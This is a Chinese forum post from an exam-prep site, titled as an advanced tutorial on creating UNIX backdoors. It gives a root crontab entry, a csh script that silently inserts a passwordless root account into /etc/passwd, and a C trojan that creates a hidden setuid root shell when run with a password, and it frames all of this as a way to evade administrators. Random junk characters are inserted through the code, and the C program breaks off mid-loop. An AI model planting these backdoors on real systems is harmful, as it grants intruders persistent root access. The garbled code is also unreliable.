a我考网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 67|回复: 0

[综合辅导] 教你怎样创建UNIX后门(高级篇)

[复制链接]
发表于 2012-8-4 12:07:07 | 显示全部楼层 |阅读模式
Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间(月、日、周、时、分)运行。如果你足够聪明,就应该加以利用,使之为我们制造"后门"!通过 Cron 服务,你可以让它在每天凌晨 2:00 (这个时候网管应该睡觉了吧。)运行后门程序,使你能够轻易进入系统干你想干的事,并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:
- Y3 B5 h( Q9 }1 r4 w, m   (1) (2) (3) (4) (5) (6)
2 W: C: P( I' K1 K! O   0 0 * * 3 /usr/bin/updatedb
. x1 O- b3 j. ^( s   1. 分钟 (0-60)! p* n, R6 p4 U/ M0 I
   2. 小时 (0-23)+ |! l3 U: ]2 b& g9 t  p7 |
   3. 日 (1-31)( Z$ n2 D' i, q( ]2 V
   4. 月 (1-12)4 \; A: |. C  N. I7 r- m
   5. 星期 (1-7)$ m0 r; ?! n% d+ X
   6. 所要运行的程序" |/ c0 T  z4 t+ }
   以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门,只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例:
" |) q& a& ~5 D4 y8 h   0 0 * * * /usr/bin/retract, w' |: M, z2 N, A9 [6 K
    backdoor/backdoor.sh
( C* P* _  w0 P; m   #!/bin/csh1 j4 e) P& q( d3 A) \1 ]  ?
   set evilflag = (`grep eviluser /etc/passwd`)
3 {( p" u" ^" O; f   if($#evilflag == 0) then3 A- n- l; R/ w1 e
   set linecount = `wc -l /etc/passwd`! p+ j5 Y+ z$ j: r; L3 y. ~% [$ A
   cd4 o6 J9 q2 ?0 N4 v
   cp /etc/passwd ./temppass; m/ U. g& \  E. W0 P4 }' }
   @ linecount[1] /= 2  ~8 _; m- e! @) W
   @ linecount[1] += 1, i2 k$ {3 y5 v
   split -$linecount[1] ./temppass
2 X, y6 w( w& E% ]# ^   echo "Meb::0:0:Meb:/root:/bin/sh" 》 ./xaa+ C! B) M9 B. i9 v+ V# |
   cat ./xab 》 ./xaa# X7 q, m1 |4 D* M9 F1 C
   mv ./xaa /etc/passwd$ g  A$ W4 h* `( s% V% w
   chmod 644 /etc/passwd& m0 O2 c) D5 F6 I0 N0 G* |
   rm ./xa* ./temppass
# h6 L. o/ L/ d$ P   echo Done…
- p, ^( i+ Q0 u" U/ v   else) p8 C3 W4 R0 x) @
   endif; l' v5 F) I  Q) n4 c
   当然,我们可以编写木马程序,并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell.以下是程序示例:/ q6 q8 g( D! I0 y5 S
    backdoor/backdoor3.c
- t4 Z# _( W3 \( U. C; @* J   #include0 ]) q7 O# j' b; q
   #define pass "triad"
! {3 V) I* X) W# R   #define BUFFERSIZE 6
0 j" ]/ R& q6 b1 o   int main(argc, argv)' t! H( n4 [0 Q# S3 l. p- C4 c+ x
   int argc;
5 j% p8 k* A6 u% z- y7 F   char *argv[];{* v8 ^6 V( g9 M7 {
   int i=0;$ @* Z& v' v) o, T7 j+ g) y8 }
   if(argv[1]){& O; L! J. [3 C3 E. B' V4 y
   if(!(strcmp(pass,argv[1]))){
# }) p. A" [! `: m; |$ x   system("cp /bin/csh /bin/.swp121");$ ]7 J( ~# s) d' G
   system("chmod 4755 /bin/.swp121");
  C9 _# s3 w/ z/ X   system("chown root /bin/.swp121");) E5 z7 _/ g* S, R7 B: X
   system("chmod 4755 /bin/.swp121");- T% ], T* ]* Z, S4 k7 F3 R3 A8 L
   }/ M1 Y) Q6 K( ~4 r6 Z7 V% O3 V5 f
   }
6 N4 ~: \  i& W, N   printf("372f: Invalid control argument, unable to initialize. Retrying");1 L% t$ u6 W' X2 R
   for(;i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Woexam.Com ( 湘ICP备18023104号 )

GMT+8, 2024-5-21 07:20 , Processed in 0.796878 second(s), 21 queries .

Powered by Discuz! X3.4 Licensed

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表